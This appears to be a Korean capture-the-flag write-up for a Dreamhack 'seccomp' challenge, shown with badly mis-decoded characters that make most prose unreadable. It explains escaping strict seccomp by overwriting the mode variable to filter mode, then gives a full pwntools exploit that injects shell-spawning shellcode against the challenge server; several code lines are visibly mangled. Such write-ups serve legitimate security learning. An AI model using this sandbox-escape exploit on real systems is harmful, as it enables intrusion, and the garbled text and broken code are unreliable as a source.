Jastes 2022. 11. 6. 23:50


seccomp

๋ฌธ์ œ ํ’€์ด

๋ณดํ˜ธ๊ธฐ๋ฒ•์€ ์ค€์ˆ˜ํ•  ์ •๋„๋กœ NX์™€ Canary.., Partial RELRO๊ฐ€ ์žˆ๋Š” ๋ชจ์Šต
ASLR์€ ๋‹น์—ฐํžˆ ๊ธฐ๋ณธ์œผ๋กœ ๋˜์–ด ์žˆ๊ฒ ๋„ค์š”.. ใ…  ์ „์ด๋ž‘ ๋ณดํ˜ธ๊ธฐ๋ฒ•์ด ๋„˜ ใ… 

์ด๋ฒˆ์—” filter_list๊ฐ€ ์•„๋‹Œ strict๋ชจ๋“œ๋ผ์„œ read, write,exit..์ •๋„์˜ ์‹œ์Šคํ…œ ์ฝœ๋งŒ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

์•„ํ‚คํ…์ฒ˜๊ฐ€ 64๋‹ˆ๊นŒ ์ฝœ๋ฒˆํ˜ธ๊ฐ€ ์ดˆ๊ณผํ•˜์ง€ ์•Š์œผ๋ฉด ํ˜ธ์ถœ์ด๋‹ˆ๊นŒ..
0x400..์„ ๋งž์ถ”๊ณ  seccomp์„ ์šฐํšŒํ•˜๋Š” ๊ฑด ์ž˜ ์•ˆ๋  ๋“ฏ ์‹ถ๋„ค์š”

๊ทธ๋ž˜์„œ ๋ฐฉ๋ฒ•์„ ์ฐพ๋˜ ๋„์ค‘ SECCOMP_MODE_STRICT์— ์ง‘์ค‘
๊ตฌ๊ธ€๋งํ•œ๊ฒฐ๊ณผ

 

Linux seccomp

Linux์˜ Process Sandboxing ๊ธฐ๋ฒ•์ธ seccomp์„ ๋ถ„์„ํ•œ๋‹ค.

ssup2.github.io

 

 

seccomp(2) - Linux manual page

seccomp(2) — Linux manual page SECCOMP(2) Linux Programmer's Manual SECCOMP(2) NAME         top seccomp - operate on Secure Computing state of the process SYNOPSIS         top #include /* Definition of SECCOMP_* constants */ #include /* Definitio

man7.org

์—ฌ๊ธฐ ๋ฌธ์„œ์—์„œ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ๋“œ์‹œ mode ๋ณ€์ˆ˜์—์„œ FILTER MODE๋กœ ๋ฐ”๊ฟ”๋ฒ„๋ฆฌ๋ฉด
ํ•„ํ„ฐ๋ง ํ•˜๋Š” syscall์ด ์—†์–ด์„œ ์•„๋ฌด syscall์ด๋‚˜ ํ˜ธ์ถœํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค

๊ทธ๋ž˜์„œ filter mode์˜ ์ฝœ๋ฒˆํ˜ธ๋Š” ์œ„ ๋งํฌ์—์„œ 2๋ฒˆ์งธ๋ผ๊ณ  ๋งํ•˜๋Š” ๋“ฏ ์‹ถ๊ธฐ์— 2๋ฒˆ์ด๋ฉฐ,
๋‹ค์Œ์œผ๋กœ mode์˜ ๋ณ€์ˆ˜ ์ฃผ์†Œ๋ฅผ ํ™•์ธํ•˜๋ฉด..

0x602090์ž…๋‹ˆ๋‹ค. ํ•ด์„œ ์ต์Šค ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด๋ณด๋ฉด..


Exploit ์„ค๊ณ„

์—ฌ๊ธฐ์„œ 1๋ฒˆ์€ ์‰˜์ฝ”๋“œ ๋„ฃ์œผ๋ฉด ๋˜๊ณ  2๋ฒˆ์€ ์‹คํ–‰ 3๋ฒˆ์ด ์šฐ๋ฆฌ๊ฐ€ ๊ตฌํ•œ ์ •๋ณด๋ฅผ ๋„ฃ์œผ๋ฉด ๋˜๊ฒ ๊ตฐ์š”

filter๋ชจ๋“œ๋กœ ์ „ํ™˜ํ•˜๋Š” ๊ณผ์ •์ด๋‹ˆ๊นŒ์š” ์Œ.. ๋‚˜๋จธ์ง€ ๋ถ€๋ถ„์€ ์•ž์—์„œ ๋งํ•œ ๋‚ด์šฉ์ด๋‹ˆ๊นŒ ์–ด๋ ต์ง€ ์•Š์ฃ ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
#context.log_level = 'debug'
 
context(arch='x86_64')
= remote("host3.dreamhack.games"23877)
#p = process("./seccomp")
 
mode = 0x602090
shellcode = asm(shellcraft.sh())
 
p.sendlineafter("> ""3")
p.sendlineafter("addr: "str(mode))
p.sendlineafter("value: ""2")
 
 
p.sendlineafter("> ""1")
p.sendafter("shellcode: ", shellcode)
 
p.sendlineafter("> ""2")
 
p.interactive()
 
cs


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€